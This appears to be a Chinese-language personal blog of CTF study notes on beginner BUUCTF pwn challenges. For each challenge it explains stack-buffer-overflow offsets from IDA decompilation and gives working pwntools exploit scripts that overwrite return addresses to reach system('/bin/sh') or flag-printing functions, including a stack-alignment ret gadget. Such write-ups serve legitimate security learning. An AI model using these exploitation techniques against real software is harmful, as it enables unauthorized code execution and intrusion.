mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1406 字
4 分钟
BUUCTF-PWN 刷题笔记
2026-03-27

长城杯半决赛被干傻了,AWDP的PWN题没做,ISW说是2/3是PWN题。力竭了,最佳配置应该是Web+PWN。昨天在Codex指导下复现了ISW1,感觉还蛮有意思。今天兴致使然,配了一下pwntools。那么开始吧。

test_your_nc#

这题就是nc连上去cat flag,不过既然是pwn菜鸡,趁还简单,熟悉一下ida pro吧。

定位到main,按tab键反编译成C,如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}

所以是直接执行了system函数,并且传入了参数”/bin/sh”。

来看汇编: test_main

ida pro还是很方便的,比如command参数,会把具体值写在注释里。rbp指向当前函数栈帧的基址,rsp是栈顶指针。这个我感觉还蛮好理解的。

push rbp ; 把栈帧基址推上栈
mov rbp, rsp ; 把当前的rsp赋值给rbp,这样才真正确定了栈帧在内存的位置

这一段算是初始化环境,应该每个程序都会有吧。

lea rdi, command ; "/bin/sh"

lea是Load Effective Address,加载有效地址。就是把字符串作为参数,放到了rdi寄存器里。linux规定,第一个参数必须在rdi寄存器里(Linux x86-64)。

call _system

em这就是调用了C标准库的system函数,从rdi取出参数。

mov eax, 0

eax是用来储存返回值的寄存器,把0存入,对应C源码的return 0;

pop rbp
retn

弹栈,函数结束了,CPU会去执行rip中的地址。

昨天看了不少入门视频,感觉大体上有些了解了。具体细节目前还一无所知,什么大段序小段序,以及栈的具体结构、组成,都还不清楚。我给自己定了一周的学习目标,希望在2026/03/26~2026/04/04的学习后,能够独立完成基础题目。

rip#

rip是指令指针,存放着CPU要去执行的内存地址。如果能通过某些方式(比如栈溢出,这个感觉门槛会稍低一些)控制了rip,就能完全劫持CPU的执行流程,任意执行shellcode。

直接来看反编译吧,和长城杯那道很像。

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

都说危险的gets,那么危险就在于不检查长度,可以做到可控栈溢出。计算栈溢出的长度很重要。

看到这个char s[15]; // [rsp+1h] [rbp-Fh] BYREF,得知char s[15]位于[rbp-0xF],也就是从长度为15字节,而rbp本身占8字节,同时返回地址就在rbp上方。

x86/64上,栈是向下增长的,结构大概是:

返回地址
RBP (8字节)
s[15] (rbp-0x1)
s[14] (rbp-0x2)
...
s[1] (rbp-0xE)
s[0] (rbp-0xF)

所以想要修改返回地址,需要先填充15+8字节,也就是23字节,然后跟上需要跳转到的地址(p64,64位小端序)。题目里给了一个fun函数:

int fun()
{
return system("/bin/sh");
}

只要把返回地址写入这个函数的地址就可以了。ida pro可以很方便的找到他的起点// starts at 401186。这样一来就很清楚了,开始写这个简单的exp吧。

from pwn import *
io = process('./pwn1')
#io = remote('node5.buuoj.cn', 29248)
payload = b'A' * 23 + p64(0x401186)
io.sendline(payload)
io.interactive()

rip_local 这里不做过多解析,我相信几天后的自己也还是能看懂的。本地通了,结果远程不通?

(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/rip$ python exp.py
[+] Opening connection to node5.buuoj.cn on port 29248: Done
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

Gemini说,这是64 位系统的栈对齐(Stack Alignment)限制。看不懂思密达。

1. 为什么会报错?
在 64 位 Linux 环境下(尤其是远程服务器常用的 Ubuntu 18.04 及以上版本),当程序调用 system 函数时,栈顶地址(RSP)必须是 16 字节对齐的(即地址的最后一位十六进制数必须是 0)。
如果你跳转到 fun 函数时,栈帧恰好没对齐,system 内部的一条指令 movaps 就会触发段错误(Segmentation Fault),导致远程连接直接关闭(EOF)。
2. 解决方法:多加一个 ret
我们需要在 Payload 中增加一个 ret 指令的地址。这相当于在跳转到 fun 之前先执行一个空操作,但这个操作会把栈指针平移 8 字节,从而实现 16 字节对齐。
步骤如下:
- 在 IDA 里的 fun 函数代码附近找一个 ret 指令的地址(或者用 ROPgadget 找)。
- 把这个地址插在偏移量和 fun 地址之间。

他给我的exp如下:

from pwn import *
# 建立连接
io = remote('node5.buuoj.cn', 29248)
# 找一个 ret 指令的地址用于对齐栈
# 你可以尝试在 IDA 搜索 'ret',或者直接找 fun 函数结尾的地址
ret_addr = 0x401185 # 这里我换成了main函数的retn的地址
fun_addr = 0x401186
# 构造新的 Payload
# 偏移 23 字节 + ret 地址 (对齐用) + 目标函数地址
payload = b'A' * 23 + p64(ret_addr) + p64(fun_addr)
io.sendline(payload)
io.interactive()

确实通了。诶,我好像有一点懂了,这个ret就和nop指令类似。ret指令会把栈顶弹出,写入rip,rsp+=8,这时候rsp就指向fun的地址了。

warmup_csaw_2016#

int sub_40060D()
{
return system("cat flag.txt");
}
int __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAu);
write(1, "WOW:", 4u);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9u);
write(1, ">", 1u);
return gets(v5);
}

计算一下offsets:

返回地址
RBP 8字节
v5[64] 64字节
s[64] 64字节

64+8=72

from pwn import *
io = process('./warmup_csaw_2016')
# io = remote('node5.buuoj.cn', 25922)
io.sendline(b'A' * 72 + p64(0x40060d))

ok,渐入佳境😂 warmup_csaw_2016_flag

ciscn_2019_n_1#

猜数游戏,示例输入输出:

Let's guess the number.
56
Its value should be 11.28125

不过输入什么都没用。源码不会骗人,来看ida pro怎么说。

int func()
{
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
func();
return 0;
}

所以需要再gets(v1)的时候,溢出到v2的部分,把他的值改成11.28125

还是画一下栈结构:

返回地址
RBP 8字节
v2 4字节(p32)
v1[44] 44字节

那么payload='A'*44 + v2,但是我不知道float在内存中是什么样子的。查到有个IEEE 754标准 IEEE-754

Gemini给了我一段脚本来转换float在内存中的hex,暂时不打算深入研究。

import struct
# pack('f', ...) 将浮点数转为字节流,'<I' 将其视为小端序整数读取
hex_val = hex(struct.unpack('<I', struct.pack('<f', 11.28125))[0])
print(hex_val) # 结果是 0x41348000

完整exp如下,从栈溢出入门感觉还是难度适中的。

from pwn import *
# io = process('./ciscn_2019_n_1')
io = remote('node5.buuoj.cn', 25384)
payload = b'A' * 44 + p32(0x41348000)
io.sendline(payload)

pwn1_sctf_2016#

坏了我本地跑不起来,居然是i386,得装multi-arch的lib了。

(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/pwn1_sctf_2016$ ./pwn1_sctf_2016
[qemu-i386]: Could not open '/lib/ld-linux.so.2': No such file or directory

安装i386支持:

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 libncurses6:i386 libstdc++6:i386

ok,继续做题。

int get_flag()
{
return system("cat flag.txt");
}
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
_BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, _TMC_END__);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

居然是C++吗。粗略看下来,程序会把I替换为you,也就说输入20个I,就会变成20个you(60字节)。测试下来也确实如此,触发了Segmentation fault pwn1_sctf_2016_Segmentation-fault

好大一坨,好恶心。不过应该可以选择性忽略那些allocator。get_flag()的地址是0x8048F0Dstrcpy(s, v0);会溢出,通过s溢出,把vuln的返回地址改成它应该就可以了。

const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
_BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF

还是分析栈结构,(希望是)万变不离其宗。

返回地址 ebp+4
EBP 4字节(i386)
(Padding) 4字节 **这里想了很久,后面细说**
v7[5] 5字节
v6[7] 7字节
v5 1字节
v4[7] 7字节
v3[4] 4字节
s[32] 32字节

所以s到返回地址之间需要填充32+4+7+1+7+5+4=60字节。但是fgets(s, 32, _TMC_END__);是有长度限制的,算上NUL也只有32字节。这里需要用replace来使’I’膨胀为’you’。

构造payload:

target_addr = 0x8048F0D
payload = b'I' * 20 + p32(target_addr)

不过这个payload还是Segmentation fault了。真没招了,哪看都不对劲,这个char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF为什么是[ebp-3Ch]啊?3Ch=60,算上ebp本身的4字节,那应该是64了。原来又是为了栈对齐。那么这样列出来栈的结构到底有没有用呢,我不知道了,也就是说直接看ida pro给的offset就可以了是吧。

补上padding的4字节:

target_addr = 0x8048F0D
payload = b'I' * 20 + b'AAAA' + p32(target_addr)

通了,睡觉。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

BUUCTF-PWN 刷题笔记
https://blog.chaomixian.top/posts/buuctf-pwn/
作者
炒米线
发布于
2026-03-27
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录